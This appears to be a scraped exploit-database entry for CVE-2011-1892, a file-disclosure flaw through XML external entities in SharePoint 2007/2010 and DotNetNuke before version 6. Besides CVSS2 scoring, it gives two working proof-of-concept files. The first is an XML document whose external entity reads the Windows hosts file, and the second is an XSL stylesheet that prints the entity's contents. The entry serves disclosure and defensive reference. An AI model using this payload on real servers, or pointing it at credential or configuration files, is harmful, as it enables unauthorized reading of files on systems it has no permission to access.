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exploitpackNicolas GregoireEXPLOITPACK:209230931B2B1D878D8E1A8892E0795D
HistorySep 20, 2011 - 12:00 a.m.

SharePoint 20072010 and DotNetNuke 6 - File Disclosure (via XEE)

2011-09-2000:00:00
Nicolas Gregoire
9

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

SharePoint 20072010 and DotNetNuke 6 - File Disclosure (via XEE)

Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892

poc filename: xee.xml

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

poc filename: xee.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet>

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N